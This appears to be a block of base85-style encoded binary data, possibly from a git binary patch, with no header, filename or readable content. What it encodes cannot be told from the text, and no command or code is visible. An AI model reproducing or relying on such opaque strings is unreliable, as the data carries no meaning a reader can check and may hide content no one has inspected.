z1*f#%iUUU%KZim84rGqTGceDT_wQ;5hp!k*Chn>XQ6wkp`Zs`>8(jo@=0bM#gO%1% z48`p=oMaWMy!2o*TW@I@Z1ohv%2kH< zs3k~-FqBX?uW^>Kl^d8SyZWwM2LYT8i&q@ggCu~E_8i-KycC5xThF8FfJ3{YK>64l zgsVV=?G3wYl12Be-9Wj@KHMHD0G5oI6-C%o?P>Wg@3${&{Xau04Z?0z{6dJq#*F$o z(u}^`gW5L4LEs>$d^sHcsxMW`v{+p3*kFA!SkR-tQ;e)}o=`dAcJC)Rx8Nd8p**61 zpXe7qkxr+k%rD+Il3R7V!7}iXl%esl% zUOx8bvrCHe%=m62ewWtWV0B!P3}Gzc=n4L?@p3ZNs3C@jPj!Cg=-D0)>$tuI-@b14NJ6F=)U94MXI|i1)g9oFsYTBvz zJb{LLue8FbVMC|GNT5fk!S(VX1N}FkpZwooV%T~nX1W+-Rt=)_hx~{dBSBh6yK&~E zCSv&_8#ObJLq`FmInsTiArn5Ddx{Wf?yDbSfce$3_4eUb&~c(^j~e52#Gb=F9;XLU z1~Ldqe}nd9B$wGT-&<-3oK{;g2TK=IO27X6`<<;{I!-(h)8*D(`Itp0;lDpVBRGfL zN!_!B|6cds$e0T{kRz{2`u!>El8*RKP`p#Q&L=m{UCVDurD@}RIT!8BJ|+`=t$|5{ zcbu_c7~8n#vZLY@+H1Fksg_hhE^<9H(CIeNZH9Xt-1PhC^7r2-H~l&H{ZHGb|89K$ zubas0f4XG)L7xKt9l7iv4g04~t&n8(9+fMZO{?bE)vL!_DjuOny7Vi2zW!q)<<{WP zxQ?6%Tk=t^y$DnA(H$B0d)q{20*IrZ^bOe+0|q(+Y<0q>{~3&d$uMgGmDr^(XbQ`s zs`nyckDIiIfQ%O$y`iSbv~GAQLz^i`wuFf72C%=$dIMcL)lECJ#Q1(WBj%&~7ACh$ z(T=C!LP&R#t-O2hBBfPXcUIXzS;du#xCD_?3{=ofI(L$jio_~qFpVs>+CLciJCNZ% zs~TgVPEW@7P8|+9iN=nTv)Gi~0BA{730h`jyq^4(yIv)Xi(fXa7&?go+2lUyV}H)F zTPoa~O)e3LeFd;Gu}UaRgW;pRPmGMKmFgz;PMLT+xfI9%Glnu^B#S^QLW^ z7S$GU$aZ?pcHtcIR~vKbpsgA>ZTWoUAIyH*$KK{pMBsBLeMbkLsh!4VV;a>?O?q2I z3K?5v7yjAU#nAQYJ!4-%s3nN>!pv$3l8gJC-dSajorbkVn9ixd4}M&+#?e;)3QXba zfw_FxK%~1f0udtzcaurIm39x>yuSYMnsxNvcnW?=tg@k5u_0N{p$T?;vh?6AQ-1A; zZ+B2%oaf%8>EmbMJBhMAd-r?02p^%fUza1V;&}QN9-Q zcIif^(^C9CWCp778W$r1JrRM)Ujjcrci5S!?B8Tn80B5n9<+Bp=sWzrK z7l!tW+Cw6vT!spqE?p73zYo>U3HsW;=65CI&^$xgIsDLu>tM2GElfk+yM>(vr=1*u zs}7b-TnbE!-h^JX=hvTzbQlSMRXDEr?~CJ4@+xm&mL#TYk}ta<7>5t6 z4Wq5sV#Xc2x^mNkL*KB&>FBs$mQMMHoo$^fA~F+pTuxG|Uh`jTj8)LO{m$zb)WVYs zlGvZU+V6$6L|?_Kt-Btb*cu%@dv$+pWL?Iv!`Q0J6w?G=wByq74|qpn0Nimw0iNer zzcbp|_C-wOg40sIBM!IT5rLorbVqL7vjvCH7hy@HkwE@lL_NCMPMJQVe9_$2)up@U8ig-C`SgE2AD4Yz zxGpO%>&r$;6#KTrlO42qywhmu7#dv+-vpybTcnZM2mNDuU32Zj)kun&`G9r0^_@3k#fe@t#uFfg` zK%?~#(%y90BLFeQt8Ka)aeY6N8ufeDEH+ucGQY@EOaCWiomsqY9tLAM5H`lO9szp# zHu;~gp#9O}>lKl?d0yOSr-n>ZPd^c^y|j2;!Ze2l(Tq*&LN={m_pEH)&$10|n=f77 za`!~qSCcvvn$DALnpeSndn_G8!|WCcvDolF6`86>Jg1b(-@t?&co8#jhP4n21ut zF5FG)1GGTEO-JWl z&2if3z}bI!&aLO&M~)oa)v^P&<|Uo2=PmrN9oz>T{O`(Uzb&mZVO+TI>zWrA=G?kS z85Ja%U*2h#+O?&XQcLL+veq;@KElMWL0D%%6JOByjLK#oH*0bLGooU_Z1dNRgpT=5 zqz>htkxe~%gt|{g$2ZdD5rytDY!91>SJBF}GtKg#AsLgH%G}3Z8}CTNgU0Vs)ZEu_ z^*1P-k12ua_*CW{8Lt29tTHWqpN#O5kNz>mOGdyCkVl(0C&2U}*->AZIM!$q!?t{C zD_?#ba)L3L2jl~{;DaJ7 zj5-KiY-XS2k)I=z{F)}>Q}C(OlIpBWGCGmVxWwK$IY7|8A|_kXD!sZQJGz2}Ot(hU zPYeBL^3hf+Mi)T4ZhP?dJ4~odOH!#!#0Ot3VaWN6pD+~$u!@h5!>*NvcVbGk{RH8I zxwGvv5ZdYzDz=d>(l+M)!(Jh7vFxH z(rmEN%4xarBKAFVnb8>6B5T01ztLLJi0xI{TpBpyDWm9Ytt@Y^`2?E8XrsMlwZSr| zQ%kS(EfV+2n}xd_8m)X)U_yoA>r}x=>exJU$4&5*p;S{RfAsM|<#$7se2W5|&7jKi z1aklOAHIW@=#Vz?MrAY~CQVZk%Y;^gLaRqAvv#B_OJ$?sTKA=zbq@INmSH#u)lh2n z+SVEf-Or@x$zNFid8D@Mb29_}-9=6x3@UD0l%vx&YHQ2C25fYj_^KvgHIwM%y{BV0 z%_8Q%zx7HnnsEO&d+D#~uiH3!&OiCBnj<}y`XT>+i-oT`=D&Dy`{b{(60F0k*B7^6 zjx!`vZ9OZE_Zl9rS};18pZ7BigSWmvHXzzvW9{#0!lA16tP%AThm0M(tMMM}s-Ps{!|`215wXeVRkw=2{_kZM(;HVtSR={iyV6 z-`C~oH346G(s#_7B(|g)SvKAa8De^&xmDf*7U63327=l3zUH~4$RopCgSdpWdG2n> zLm)n!-FPeHvGifM=~TXyOL#WqO*Pw6lK#NiI8Vog_Vju){I-{;l3cuW@V&qko`Oq0 zJoNZB)+&!J_E;~~+;%Ay4ykYh6U{WLRYrm|rYQ|8bZi>c+;mHiV!jWVTh&MltY)pd z3F}9Z?I9yf{dbbjj~pW|!9gIbcFd6)P=Y_om?H#}^7pG^SW0P4P-{afVa89mQ-!B! z(jLqxZ1{G2YHE}MaGRVMydC(X7ZVe7#)Xfu*6`BGEW3Eo+{>==t2Emb4`4#MX1%8K+%sDY?y_v<(zxJbg!8Bdz&&gqGwnxJ4r!?pdCBMpbV~Hv{YfU0sX!1e3VXn<8{`W@^(W#s-W_ancxDRrbP=WE#KW36;6I7o# zn{sBzau~ZxNX?N!HbfOMMj$diCBtoLMeK9ZtxM3hNxr74pra9tl#|U3b%=S6*gDIP zxjTpll4On6%i5#3Zd$;;Bg||@IXo{25ORConsfO|aD=%dm)MBWZ*C8trSUAq@&F7y z%gC<13)$OXA8sj#BA9Aj2!68gDTs|%5^Ps<+yR@=3*gY@o&g^V86cqdQ(HWqr^T2( z7kZ3&ZpUx{{6GPL>M>skxueAze5I$(v#iXYl0^F}!SaNRIYDR-Q=2lh5}mC!o=qk2 zm6-D^5w6$HdWA;i`^dAzsioPBJd9wCuOQfZWJY8g(lBz4ZW4r`@n3)uindV3YB!uq z$Gm;>4gwoLD~X@5$yj0bFABijJ#O-XAPc+GK6@kopn)` zl6Ewl47Knqz9AqX79bWWnlL{`%Ys%5j92Uvmc4>1Ui~{qNu7_NsF#vG*jR1N0l=u2 zcqUugwwc;gf8O{O(VR)#5{{0JNhK`4qI$i%7T@0>F^D-1*lQt^6nE?mpt7<^W{cG; z0PH?pP5KZUW1O{flI>Ps97~sT(A|_ch;D^8PJG}==v3{qfIhL2K_cif)>sYk5KK<` z%_A9qJlY=;K%$=`+O)AFLB`(tk$=nd#78ul0b$L0Xv^%ALI_-!Vq1gg;CZz>5(EGu z`IhRbUln+RLf+KYHSNs09ot_Hxm^|#{X{c!>_Nd`vk|E;G_YqKxLXFG^OmKI#Y4QA z8r_`x=aj~S=c=p)ID2ZtYiGXq&fGR9%-p=~U^s8-%J@{Pp+0-FQ3D#5t@C&6gq;!F z19M6%)6oI?#|da5`OA!j*3#kAh%F;Hd=sHtddoNhFS5=NQrF1U(?_}G`1GMA2ip@4 z$%Q+*Z*%EO;mE+@F-Eecc}kW%lo6%8h3gVorE7$~y$>O`1CRxVu3|)tmca>O)@vqg zEdHTcf8)8K$J&t}@UwXvF}O z4LD#q9I>D)3}>ZP1>F(Wi3%QBv$OU^vDsBc9gUDtKxcrGYhG1?U>#h9q)@~;7%ZTy zk%pNi3FB~mFzcIKjZPL06eOtj_!dMKb9FnjlG!&{6JswslcoFPgx9yMQl^L0zS^6Y zZk3e?7%Y2^BP9T&H}EZnDW|+}0>oV_zh$^lM$3255=ILote9zpZ)=)Q4Y$_e0&M^L zvIHT2f}op&+C0VB~XBvJZYra^I%MRBEct5@u^r}qQpAteB|j{ZcKe{3W;TP zr1z10L;u_>;nUk6?x-1WnY#6(K5NazX4xKmc&E(~KSZTk2QYFFY$?!!WfnB)Y8I<( zIBSCrG%hpoW}8lyhohrYnC#Yl*J(Xintj(Nb4{A{dJflp_gfd)+rR{7A`r~IsEt3~ z)=3g6N}h33DPIBBtBjBI6NUSkmMYfS{gR;f@r-EqLpLQ)mP6O$84pfgxBAf6DfE5d zobT7X){N;D*e-)|8o~&3{UpBFm$e1DG!+KL@u;wcclBt^oMlU!wCUG#ykO#a46@Nt(hJqMyYM$ zWbpHBDg7f4cXu)P^fBomlN8SJqH%cRY{uc4jBhe}iwp>4Q@`@?#yW?tpv^M>5)k8xQ5^a zQ@--Bfdbkm&YE#8^5imo$|T<7FFJ$XZ+hLX;zVe$MbXV8I5L2C~!AKA@|RLEIxjWPY*{#B;!2d7?0eUce1DQ^l;@_;`W%8 zkbwaEMoM3T7#eCx|MGw|lziir{lF$2XM=8ICKl{v=Yg&7@|WFLLdl6tDzbF1Y=tQs z!q^dJC2Sf;$i76Y9j18H)0-hfFDpjzpPi|!=0sZoOSN_NP=QgmTOEP=O%tjpTbXBz zJ}DXZHKcS6?gD!ufDNn9D70ungVeYrDK43bJF*zWO_1&?okhHY3rcz#KVwL_<@zRI zw!pTFPfCID_c)Av7;CR_}C0ERm-@>4$-rr?=qStK%c&Xb*PIT^wE;3q)wt>s}Ky9(LZRgcYjSQ z3T1pk2u!K-Kr1CeilgquEkPX#1*F!|GZB|_KX>UlnDuB>38L(t zp%yS%J#4Vc;(4EtaY)_VR~Uk1dpLX zDk>Kx{W=z6C?!uQNlpmJWTO%tjmz;ec&goRhY zbC+gC{qLd;8Ujv8r)OCiU7*?_J%%91G)9kIFI6{Z2HKdFVFx%ZF>)zmB?K8 zwd^hFSC#~7X`gu*1J2RRJ0|D+_y6SWFYsDxpVZX8gsF5p)wTN6??~b}hsuziT+d+) z2+9}B=xd+*{8{t-o2Re>EiOG z$%~axYa4A+O2IV}K5^)H40KX)+zo)TP+XG-QMcGxAs9CqrgAnVK*w+c3?HAT53uoq zIT$O2nehoi;db&*m|_dCUKEfER`Ide@kixg(@Sq5V%U2#@iWE#nDFEdC7NoF!56dn)>0I~QE?>dl=IXi4shNgM#lJR-DX6pCOM$pBE=qHt zNj4SM+2{TmD! z6()}(^j4+$YmIM5DY%PWd5q~+?ch7Yp|)_SpLlFEwlkMYk@IO|0R7?5X)`l3KFFX1 zDZTbTNC~6wFN$8Yi0*s^9YE|D*HGm!Wq?njbMZ%H_a?M7IgebSbNpz>7y+pL9rT}< zimW+cGLQb5O_lTU?l|xO%xKlR7%q%c^Y6aVlC^xsWlaSg2cd4}sHTFw4n*x^0@`x7 z8))aDJ}RY;ZT=j)b9F1QT0!3wLp}$f_XUA2*c{~#n&~vwEJM8x_nXfc)d7pW@Xe^} z$T=w2-W$3Iq|Cs15)3~Ep^zt~K9!!v1ouCreFXBkziA_!n?HCruP_y^`pjeW3qeBxc8G1Rmm}nUDP4lT z!+B(9G5vzTwqM|^=i^&)`(Gga+m&ZFA~u~U-U~YqtXhvkvjN%K;H7rtG%y^Y^t0&` zobbnRb)bfZ%FT~uG>bE|Rlr7<(7QhYdW5$Bdd{G8&7kWn+0bX&Adh_9fL_l5Q_H{z zUbPV9IiZiQZO6>eHz{Ae7k}|L&)>`D{oH(7Y4|D&}Ed zHswA0QIV4Lk%Qkf!I-U}9w@n<}IDB@NQ6Xs?tQ{&~I$K(;wR@8CnRK5qPh z8e0u8n?pTryJefyY;7Dp6>*u#rVKH0o|i$_YxHxnxvlh}%ZEPAKC@UQphv*AKMoMb z9JkEX0J)P;H$rQ9sO^@~!nMF!DLsdeIl`oebD%B-?c47PyB#*@(=g-@W21~-FK9Cr z5Jz~#ZEu4^kRd&^o;YV}-bC4l8tKpngxsxL-)0L=hbcp-iv`ej^G~^INFSLb%zC;K z!AO>T;%?KSeD+qw%U3#5CO|)@K(_+0FO(E%BDh#VQz{_Z*^rcmpI?>q5yWPMLuLw~ zr>G>W85ima`n`5^8SS@{%@-b$;3aj_qv7K-qkH%2d1?GbY`UKZo5kv zF-P-QR9+b+B9g8|y?>!y>Kyq4AU%U+t5{&DT;$Nnj?mCX;XzLfNM*VcTMQk&S}5IY z`PzbILt%BR=gf(0>c{l5vVqVv7FcKQc8AWSO-_^Q&T<6Q&$WE6}nb-ucY1ghbs2 z3`DiC3nG5|Dt>v8Y8l%nc!+_>R>&g2y}_YOj$B^<%B@xP=nCDhr-RZ6&Lao|bJ(K` zzd|Z6qj{$bYdhawo6@k6Slh_Op4Pi})TE59il#3AK6ZeaCKluLs?w>;k}bn(P#B2k z^7`fP4Z{zQ%saO1)t~&)=NH$0c>U_{Cf&fz9nQ;N2j!6?ukQ+*FC6QYY+n#sZ1cbW zEnxg|eeosnWeJ**T!$CFI5Aal@^?bhDpi@~qq8A(hAoWHkJhcyPRg$hUzC3oSLcSx zdznWn$aZ-yO%XQIF^X5T-QFs%F!rvJy3P-WTD;oHPk6_q%u@ktW4-SBe2?{coUmc8?~A+z9i$q7 zaM1B(bCuKY981I7!EZJwqMfFw(Fn0%bL2sn(T*=L?t7Q#k$p`*5B1UR&OvoyQ-8Ui zpC2&(i!RxvRxNm1ajPocEL+hYnHyyIU@+j+{6`Ld!_TYdc=om~ zcKzC%7XxqlPjHuiGU#dF)XiJh_`ZML`ZFo#!hai=uDKe#AZfn+uA0Uy|5qnOc8cdm ziGd;a43lsnH~)M5Pdn|B17#cQ=%Ee&5Tvi*2lYvS<=j&g9jyd$$|qZ18;7{KILl-=2=PTSw0LtUIB1ulRnwsJH*hqjTb` zPg{#i7mxPT9$;jzygBEwIwFfANuf9~2dioV+|)I3pTS z;Vm-Y#_t7tZmfcg`3;h#87lUa{iZ9X$rr2EIZi6C`0@D@82tAu+&V3Z2i2! z;!CGv&_u3wYr}lLP}}W*>s~v5;}U*)h8fe5mX6AFJI_*fj_m7WV0*cpiIWwMN5oNl29nqGqfta3g`#1Py51 zD%+5~|8}3Rovq6m0PBRPeoca4;3<2XNh!hETq&a|wI)AZO0YTkhhP1O%(uy7kNe&< zk<`ODj-ZL`kRb{lJBLMq!JV*71fP(3+*`na`-zOIb6#1O&pSm;mW-whn$)> z%|6eKt8W+|8gzLd9fx<%Pn()CHS9{X#g#FkMVFPU?ZO!*=f`$EIA`zf??1;3zo0?w z@cxq0SMJ#(G@gKO(%xo}WHa=G?+KITrKC<3o#N6n zZ_z1pOzXKC`@}Ts!-+`FMn2vP4chJYvp?jk!7S*4m?r%AYyYqT{!j1bggkOM?+au6 z(LnfkqGWod^!|1kOn;GeE2#5Z#r1+QkGZVwfcNLxP_1&(T+E(pdMSnw(wv_>Dbb7VR3G zZ;R$4!%t@XT^H${)-T0LL#@}iK!HdjP|q?grTksJxVruBu2s^G_q4?Ccm7^!YX5cI z-+OxEo0Dxz-u>D$E7)@J+4SY7j_$es&XKc4?e@Ak=I1F&ra){}#Wwt>vqPPSbO*)L z%ovwWBWqP|Eby?f7lYR?$soqEg~?ioX6XWw9DFfX!+W|=DVa1GhItx3p*C?+5!Z+k zZ+b1VD#+Gk&xl@hnIt@rAD$BQ7 zkv?Yv7kqB#Qc+L7ApYcQQA$!8Y1`6-XZvOU8$7-<>Rs#6A4_?yy9%#U2aiu@RISD> zUHISdipKaWWY-0Sg-;pp^UrRz>SZLral^8k0h20vLIaX))5ckP@S~L8156nzCj|GU zQq?(ptDoA9m;dKkcCn?=YGU|Oa8-FY!$)iMNp>rwa{xczUuifl$JzFB8CzIyF{xBhQ6vtXs|Sk0}*Gy@W!3E}f~5`W$|y0F>K zy3NlXzfn*#w;o_UP4v6wE~6FsL3mLy5y}FqZO~?Jv2gA~qeq(0+new@Y*At< zHcB|dt`x6COcP6s<#AnfO9BHnl)fz?KB+ zoURIhm@Elb4sDj=FVC4drw^5`Fu6>e>xLk`UC`}pw_DrW=2JSBE>-)Kg!%sqRHo}Y zW*!JT5zuk8DQMOyw|jrXU}{&kr|8*VEI|&0CKGDbm1kz3v|QIFSs;A2UsNX$7YcAD zZI%D6LzXHDUc>vVIbzfSo2ILrBbQ`qz{Z_3i}(asiZIJ(lQiN6u`p9A3D64HG9}w$ zt}%6h0TT?~d}CsNNaMZ+{y&6C?8e=0t6nPg3B?sg!FAd2Y8L|&q^xill<}}sG%Bk= z_Mtr%3dBB9k}v;%Mk|!lI?1yzRUu~VvO;;u6%n3UaJVQMzeX+DEGs?QgV^vS1?7@V z1$HHIZ z;2aSYOd3Ea4R;JVSGbBw8XMZ8>{>el#Eo}d_bi{+)@9g(kg_oAqX?b?`_11a=}|z< zPJ}Bb%;pJ~mrL9=!rUkV9-dAa#^ou)LFi)C?N|H7u3dE|RG%u?(PKRD2+=U6@ zCOIKf8(=bAT0C6x*OQGprg?n<~-^52=C!=&qjWU$(3?T z8Lm=^&;{O`H4sS)?p&{j&as36O2TqEt-rRch>c_Q0ThlXpDl3`Ae<;7iw}&n#x+N) zBC0zMj7Q&Hs-C<4!PoG4yPw>@el;O>m-^uN6KpndPU(}qi`^w3~qK!nt)$c^$ zAdc7vu4~W}>iv$sZS+lL<4W0D5;U znmDzs4)9S*7G!zZj0$(Z1B}rgmLA*|dC6oSFsCbA_YuJ>ar1&yWxUJ9?9%h$U4kfy z7k^I9?D(wh2siPe=~fgdewfck6#GmVZ2-9qsON=!`*&k&-TA-e-A;MUGS2+X|06iA zc(ff=l7Uj^6UZW^#Pxpwo{itazbfEh$OV;Tj(FY#mZvDOk8<9dh|FprtmT&#u=Q9x z-`7h{5Fm4+n@Wl_iDoYNLMB9yx)x}KUuZ`n=}HQDDX>Yx20sjwNGRs>3bS|{j7rTM zkI)i@9I5!}OGiN5zpMUs6RzL#Uc#aUN#DC}$K}t9o}CnT^U1t>Z}yu#NV+@YPe&4A zo0etQRRokm2w+bnu!TsjQcpuIwXC_hSql_lGkOD?Ch(6U5@x>7?qP-W*% z&|H}}USG@-=TDSPpAXEINiq>(>CTyjJ&PuWfv%MJwJVY>h>N5CM_4?Jk8g9>aMOXH zMS<2*s13+?M>XNc5*5g<>SvozKie+DY{@D!lmR#np}1i_QK2s>)XaL&RBEYtL<$4L zy}+onOYVLW>T68CAHi^M-^N6Oy>{P$(}Z~qfT8w!ssNx21FMvhxIVSPHpzzJ{~tnl zlT>C?4$RbI=P0m|!=;;91fBpxz38~1UcNwHd35W8c~j?&*7sX437Y)zCb@h0vTe~5 z*dxn5w9T~4rfRFNCHxi3-k%Tc%GIF{)KaddtOzJu)(Y75;S2q6UPLju53x)vt98UK z?{P}KS%K1|i{y~M&Mqk*=veWzE(_sL5OUci`THfI(pe1lpio9ylaee*k>FhVe_fCi zPb~OC{jV&_2h}X+vBhX+m=+~;;iC@4viWR1&yCeCE550x6D~NU6(Aw|Kaoe%8HeeO>H@Ng_~6TVX(#Lls_^Jr(4$SbT9C??4tf;|QV9kHA&Dy!@$Tc-pW8 z0YZBSFbpQFd6`?FmmCx&P;_O*3Vi9MPr#gM6x1(vvCCzFd8)D^^g#U%p|}V~K!oTc zWOl=|g*r*_@OC;8%A1&$4C9J*ShO;6eGf_jA0xA(3R&U=+d5hsK)Z$`x!f|5;fj$` zTpwc5vod>XnQfvU0}$G=2&fNSP+rDKaXa@BNXsJh&yslgZ7+R=;CUs5a69ekLvo*} z0F?us-rvZ~y7u#3P)1{Wrh3Zq{-tHN_XUL|)vODk=IAVQ)Kl3RaXI!OV=|JjJwTZM z1hkzXOyNmsM4{D$#AX8I)q&O%601a^$%JIO^Dcuv(3*|0g~3C+gf_Cy(}}`qdcDw! zCH&=CX)+;v?^|g+fvy*UX){5CHqe@QylX?b+YPYp<(u^T@2;}Y&jRiGg!kA&E4FCr z*>M}G&~+0S>`a;)3Ep7|El@W#OBk?HSj-egID@2q;f%Fbuj9X)DuFv$s1+*2g@TKw z};AKLKI1y=#GLS6Cip>TZr-zJ*S59gHGYPjBNvW& z8ctj(nD0O1MjLqM(3@2^+lZg~x?H?vt$$4DToZ8n-l*RJD%Vkmq2J)2ZKz+$ex0tTRVz$1L`xy#ArR3N}aLa{qMo?``Mcg{4qTHph7MG-=9OL zI&2OXuKB>Y^g(^$+n;#zq}9&r_hkHiI&(*tWJ}``yI1aOj>2FzER6m;=k%Azdplf^$FJosP7aLscrYG z-xNLCQTQO__Q?=S1CjpJiQ-3#Cs&8?|MxX|=-5_7$JVHC6x+-)w)ErJs*1^GZbic! zyV*jfg=w$cGyP_n)wDHKQoO_MI;VN2LFMZm@9y?k-dW|k!Rg*UC&r1^;~ShG9GX@9 z^d%BXG%&UZkIC`Z@o(-mUOPx78M-_wH{U=1$iBR{Pl{(>7t!Wqbp2PlF!guiefGq?&ujS6(YYJjkb$iK&bXL(U5xSmlJV%w$61a=f5+$ar%X=-Jc8PA zly*TsfXL5 zIxHz!QCDuDh%m%c{iI;+KiuB5+V2Y&@ha+DmW?($pKK+cjQ;})#$TN{Cd8D z-RZ-RZB12#Iu9sn`FTd)x@53zlmcEyftj8A2P;|ttPQMycUqM4R2V~_D?+SE&>cgu zfaD;=ke0PQi=9R!7<$H2e3htl2q|&w6G|%9^^K?GEfXMPu z0C-cjaBkqIyvG$-yITG&|I)s~lY9%~?Lec795IR^$F`qH-R%o_U`<)=wOFE$GB?V? zXLWLv1F}BONKrO$lJaFuhKg~YwIICC&GaOK*^$KNUfQ`4u)&jWxp3RvYp=qP$*6NE z?xqJvg}>Xl`dnM#61TNcc0S57&yO9@UAoivMdzdY?BG=qdRybG!WNU*oYN0BTn~ts z=fCoO7HOTshCC*DhG10V`|&rMrxcdiaxpXbw|!F*8mnFCZ7$BoGLM+Xxw6~N&!t)L zTzI(5ys$e|R*?dvipOiASHgR^{AG%2B!n&QZhM;`N#L6FO^k^T zS*HCg7(BF4hnv;^57_YEwyPh14bPvm^-p^Kn}fezTg3%8eEj)&q0sV&c7B+m;+RJR zE*ub78yM;|748qUkMBTVn=}<6M-oo9kDd(kcr*M=|5!ymmnWwCwkY|-T;oxg>^tBW zMk24A?D4j}U-I?`)9KkOq2niG`!1z)ZunY%;qri~J&k_Hik& zQWkAC6mR^wIl!$_g>87QBep3;|Qd^7rl(+s} zq~%zuFv|xI4jPZ0%Wq95ly0%q53-K?!FBN)j!aGG#*xTH2L>^t(2o5r<-rdMGNI{2 z$S_tp>k&7;L7x5IuK9gT;+^#&{g&@b-Lz$!eFU4XkEXWih&BoH7WbTi@>oj`wm?1?bv-s9m=F#K1BRlBin#F>wfJ^6Sxi69BS{1+$*)ldF z=@zfF5ElCw;mFlC@BJ`1yTv612OunPkpX@>hqE|-hHb)E2W6&;39nZ|u5B2TB+ij_ zNoUzCKSJ=6_#K7A%1A?((xBH|dftm%q}c6Qy2LR2fAWJX|I$}sU=Vyl7j$bepC zw*58XiXnbv&@8<{_f6Jg>tiy6McU`zlZ)1+vTpvNHW`qLFgCk2=$5o>UYgg1P59s_ z{)<$yNl}gmnK?W7pC^T2iUs=UTGJPV9joDmViPpan{SeS0(}2p>g48G!%;VVaoXu~~h&es~^j!qq(FCUj zM76YTm*s8dgDp~t1=`WW=a025Fxv&g=v=ZeI+u2$Lg3HXq$5P+J6Z z0L=KrsgI9(+8O+%_*45+o}aI_b8^AXns0lST>h+MjI7F=^V^xgMlg00kwl)mP!H9* zVsHi^uDc$osnE_bzYU9z1qz8T3ySq@(-JFLZ!zMBcFq}zURP$=mDpRQNIfNPy+gzj zz;<`cw^B2u@a5{ev;SrQkf_xA9XcItp1bZI-+h@_)7NcfWYf_Wl%lXIxkcA`N~a(w zMgW5uNeE*adl}1HcI2-QM`Y5=|I*Zgd7oRmo6TPq59ICCYEs9H$1D(^VV_VXE z><^W8VPdQX;nA&I+CK#9)VOB4;}b6Cl-ilU-4TX7a-eA) zLidR~#6*Nvj`5*l{_(?{qn3x~0Hgz9fh9a{FLx%;smp~tdX(`n;>m}`NF~tA+bjp7 z;cB%-pU_(x=I1BcuD29=c3E>ugqWd*ErR+Vsc)<-5z z!sKL|-+Mz1!teMW?6j83JYm(Bt~XPN&7-fDKlmpOye;-l24JfatXy@<;5Pmx;H&q0 ziu`3>SYl zFE4bar3m{H_R&CQK}u{aFjX7o*jH}Vr*`5fK})2dbXi2WGyoQpjp4WeivzBRO^e#A zUVQ!A{4?9^FccwsmhrTO+9Zo2aPcV!2$A@v5xm}JS8qc32Hky)W6$_KdmjxH3Kmur3L6HZBqLhXu;S{_-$msj|upNi>9li%joUJPpV@ z6jXqLMq7rz89dDiT~Ml?!G!#iA%>rlS)vY`p$<@lIU;lMGGN9NwXbDZKv$S+9~K|3 zv}y@M%*3ArUs1fC7EO7Bq(W^s3$Zhz6(Bz5sR6Lku-f zi5CE#ePVwqjf}X!hnu2pYX6E#j29 zfVBo%Izv382lA)ROGD!_dE$U_Rg* z9~2x5x+NRCjRW_0VGZxAovD}^|E~rLapomhWA03!Fta@E^>^V1kzXRn9d`?BLkRrZzlrAvHG{Ib--q%ejLQ19!!z7bBT;M_bT>K*Vdg;h z&VQl`0n!9_mY*7|2X9%;I=CAXb{;b~>LIk5&-84sGUamd_cq~bYt{pa`%^YQ$r zXmk2?-xxI6UrrfGUF9!U{|4*TxjBZ&vGXj^;^oU+dQxfb33$NO*}a|l4OX|iViJ2@ zr^5{q&KMD+Tf; z{@(-8piYZo?FpV!zu3%2!SF)6OoO4(OPBB3$L;y-aN~q-hnt-czSJ4#^7?5}8bJOg zHyvs>gM}XEFCC>K@9kn|JH^;((D82(Mk#XYcBO_x=$2;=opN@M*kSQb)Olm)X%R{4 z<`ln`#{%tH<@nw040BC{FJGA@o))z`#iQ#h+>NhlsRy+q>a*T7bJ3$K`aUAZGV#p2 z)f;NWMDrJ<9#k!gN1yjcxeOKMkzJkb#H@}Vv1jD#@1R}6T}=%}EIZ}V=K!)lh}^(` zGuaU`DT?+=5UiR%S`nq3|1T-0(~KeU%k57EXm z=m0SuwRI45(RYJSx}zcSDj%NixeZ!%Xh%Ny@2O?M7ZZ5g)&);eJvQtkHo=xdXw#S_ zTUMx(geVsX9fIf)dZN5eh&m#2?oOrkBYW)qgieS!i^%ZE`mg1g1HY3~JvQ zBL7j9>hUna$zK#Lfh?8nUw22aWi{j>IlI68$}@-p!+Ema6(K*^_u34$K$?giI}Nku zF``6^#^}&>rnAVS9*hw{*g!ePl7~ELsyoOrEf8Y4bA4cHWV=(ANWLGr>)K-+(<2AO zdJMRkp>35Jk39!iI5{oW=DA?5nh%LN;qoONXebWKRT_g%zf7eNn(OA$2@3V0#k0ua z1AvB8ox@#0780U>tYl(+{&V>?4aN5Kg|+CF!qkgSt7|(oj_+i}{e>MR?SE8D`=pCj zq_nFVaNLJ&E2Sc8EZPy^X`Vyd83QyH+8N23!Qae|wqeK^;%$-hw^WR3|Bt{_XMH!E zakmBn!vA4l;r3Pfikxvo(slJ)1Y0JRh{!2F26-!E-DpVvCx)!BZ*tQK?7=ZS_p&zU zzH?g`0`-0X@!bh{7$CFCsT~{J&H;JPMNW}osu%F30qr33=k>p^Z)j&ZKnMIGraTr! zmxB!Cgvbyhg?i7T(1CJXf2y;;h^K@vRLNJ_$b;2+*PU`1x80UbY*-)u&#DerypLSI z1;C^nnJ92kFFm3IU@&_BOaysDV;R?zc;+mH=M>8PP_l#NA$+R%da?zTWh0cnT*lVy z>wH?{)|Tq_9jcs=@!AUZzsmKJ%f_}pKB{N=tqERQo9;R%Sy2a9rec{6R_2fpuvnOq z0Hq|^ZYZacSe9O1hHa^5lE&g8zFS0Wv*PI?vf&tp-$d*B~MKiDNPOP z@rM(F3E+cKGwQs{xMlbTR;C&q8hf#^%JuZYrr2-^ylb@Kv7SYIPHi09(N;tE{rIG& z`5Q{m;uALBZf6CPdwWB+^+F^@Js zN0lcu3RMQ=$f1aGTU^W~aP6O)HE9G%qZDQSIOskBZz@!qoxg(4#shrtHs zo37mC^$W*P}O`W<@a z;E@NJ44n^QO%oHW<^&^pr}ed!MKMeOyLB`>s` zRZ@|Us`4#NuPNu|CUrz9O&Ioy_Y8b8;ZtfWBza>H=BScxDVHzHW5@U$L}Q7rv&^wQ z^S-Q5a>zWCUcob-9ZWUSz>b|r?lBjY9%P=7=lJD5k2n)ATpcQkn_BZ3O<2OjrelN( zGj?3-q{o>9(^tnuWi{oS9FHIYDzc$X=fcnob&p~3*$>{yLq{3UKa2OQLiT0$$xo$T zFJnm3*|zcWd;07ehxez^Nj9dO<$>*7^3i0GatoQ?6H&oAJ=ct0JB^^H5o#lbVuJhg z6={qfU$Y!y+If?+Ud#zWFv0XHQmSSiAYvw4h`6gYHn9$48MD{rh8t{f*V97ZO#*4Q 